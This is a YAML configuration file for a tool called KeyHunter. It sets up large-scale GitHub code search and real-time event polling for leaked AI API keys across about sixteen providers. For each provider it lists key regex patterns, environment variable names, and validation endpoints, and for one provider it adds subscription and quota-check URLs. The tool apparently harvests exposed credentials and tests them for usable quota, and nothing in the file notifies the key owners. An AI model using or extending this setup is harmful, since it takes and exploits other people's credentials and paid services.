# KeyHunter Configuration # GitHub token (получить: https://github.com/settings/tokens) github_token: "" # Вставить токен или использовать gh auth # Интервал сканирования (секунды) scan_interval: 300 # 5 минут между циклами # Workers для параллельного сканирования # GitHub search: 30/min per token, code search aggressive throttle # SUPER PARSER: stepped up, monitor 403/429 before raising further scan_workers: 100 validate_workers: 100 # GitHub search rate limit (запросов в минуту) # Free: 10/min, Pro: 30/min — 2s floor per token search_delay: 2 # секунды между запросами через один токен # Провайдеры (true = включить) # NOTE: этот блок НЕ читается eternal_v10.py (использует хардкод PROVIDERS). # Он здесь как историческая документация — validator_v10.py и agent.py тоже его не читают. # Держать в sync с src/eternal_v10.py PROVIDERS вручную при изменениях. providers: zai: enabled: true name: "Z.ai (ZhipuAI)" vars: ["ZHIPU_API_KEY", "Z_AI_API_KEY", "BIGMODEL_API_KEY", "ZHIPUAI_API_KEY", "ZAI_API_KEY", "GLM_API_KEY"] pattern: '[a-f0-9]{32}\.[A-Za-z0-9]{10,30}' test_url: "https://api.z.ai/api/coding/paas/v4/chat/completions" test_model: "glm-5.2" test_type: "zai_coding" subscription_url: "https://api.z.ai/api/biz/subscription/list" quota_url: "https://api.z.ai/api/monitor/usage/quota/limit" github_blocks: false moonshot: enabled: true name: "Moonshot (Kimi)" vars: ["MOONSHOT_API_KEY", "KIMI_API_KEY"] pattern: 'sk-[A-Za-z0-9]{20,100}' test_url: "https://api.moonshot.cn/v1/chat/completions" test_model: "kimi-k3" test_type: "standard" github_blocks: false nvidia: enabled: true name: "NVIDIA NIM" vars: ["NVIDIA_API_KEY", "NIM_API_KEY"] pattern: 'nvapi-[A-Za-z0-9_-]{30,100}' test_url: "https://integrate.api.nvidia.com/v1/chat/completions" test_model: "meta/llama-3.3-70b-instruct" test_type: "standard" github_blocks: false replicate: enabled: true name: "Replicate" vars: ["REPLICATE_API_TOKEN"] pattern: 'r8_[A-Za-z0-9]{30,100}' test_url: "https://api.replicate.com/v1/account" test_model: null test_type: "replicate" github_blocks: false anthropic: enabled: true name: "Anthropic (Claude)" vars: ["ANTHROPIC_API_KEY", "CLAUDE_API_KEY"] pattern: 'sk-ant-api03-[a-zA-Z0-9_-]{80,100}' test_url: "https://api.anthropic.com/v1/messages" test_model: "claude-sonnet-5-5" test_type: "anthropic" github_blocks: true headers: {"anthropic-version": "2023-06-01"} openai: enabled: true name: "OpenAI" vars: ["OPENAI_API_KEY"] pattern: 'sk-proj-[a-zA-Z0-9_-]{40,80}|sk-[a-zA-Z0-9]{20,60}' test_url: "https://api.openai.com/v1/chat/completions" test_model: "gpt-4o-mini" test_type: "standard" github_blocks: true openrouter: enabled: true name: "OpenRouter" vars: ["OPENROUTER_API_KEY"] pattern: 'sk-or-v1-[a-zA-Z0-9_-]{40,80}' test_url: "https://openrouter.ai/api/v1/chat/completions" test_model: "openrouter/auto" test_type: "standard" github_blocks: false dashscope: enabled: true name: "DashScope (Alibaba)" vars: ["DASHSCOPE_API_KEY", "ALIBABA_API_KEY", "QIANWEN_API_KEY"] pattern: 'sk-[a-f0-9]{32}' test_url: "https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions" test_model: "qwen-turbo" test_type: "standard" github_blocks: false deepseek: enabled: true name: "DeepSeek" vars: ["DEEPSEEK_API_KEY"] pattern: 'sk-[a-f0-9]{32}' test_url: "https://api.deepseek.com/v1/chat/completions" test_model: "deepseek-chat" test_type: "standard" github_blocks: true gemini: enabled: true name: "Google Gemini" vars: ["GEMINI_API_KEY", "GOOGLE_API_KEY"] pattern: 'AIzaSy[a-zA-Z0-9_-]{33}' test_url: "https://generativelanguage.googleapis.com/v1beta/models/gemini-2.0-flash:generateContent" test_model: "" test_type: "gemini" github_blocks: false together: enabled: true name: "Together AI" vars: ["TOGETHER_API_KEY"] pattern: 'tgp_v1_[a-zA-Z0-9]{20,50}|[a-f0-9]{40}|b99929949c80558184443' test_url: "https://api.together.xyz/v1/chat/completions" test_model: "meta-llama/Llama-3.3-70B-Instruct-Turbo" test_type: "standard" github_blocks: false cohere: enabled: true name: "Cohere" vars: ["COHERE_API_KEY"] pattern: '[A-Za-z0-9]{40}' test_url: "https://api.cohere.com/v2/chat" test_model: "command-a" test_type: "cohere" github_blocks: false mistral: enabled: true name: "Mistral AI" vars: ["MISTRAL_API_KEY"] pattern: '[A-Za-z0-9]{32}' test_url: "https://api.mistral.ai/v1/chat/completions" test_model: "mistral-small-latest" test_type: "standard" github_blocks: false deepinfra: enabled: true name: "DeepInfra" vars: ["DEEPINFRA_API_KEY"] pattern: '[a-zA-Z0-9]{32}' test_url: "https://api.deepinfra.com/v1/openai/chat/completions" test_model: "mistralai/Mistral-Small-24B-Instruct-2501" test_type: "standard" github_blocks: false huggingface: enabled: true name: "HuggingFace" vars: ["HUGGINGFACE_API_KEY", "HF_API_KEY"] pattern: 'hf_[A-Za-z0-9]{30,50}' test_url: "https://router.huggingface.co/v1/chat/completions" test_model: "meta-llama/Llama-3.1-8B-Instruct" test_type: "standard" github_blocks: false groq: enabled: true name: "Groq" vars: ["GROQ_API_KEY"] pattern: 'gsk_[A-Za-z0-9]{30,60}' test_url: "https://api.groq.com/openai/v1/chat/completions" test_model: "llama-3.1-8b-instant" test_type: "standard" github_blocks: false # Расширения файлов для поиска extensions: - env - env.local - env.production - env.example - env.dev - py - js - ts - ipynb - json - yaml - yml - sh - bat - go - rs - java - rb - md - txt - toml - ini - cfg # Real-time мониторинг (GitHub Events API) realtime: enabled: true poll_interval: 60 # секунд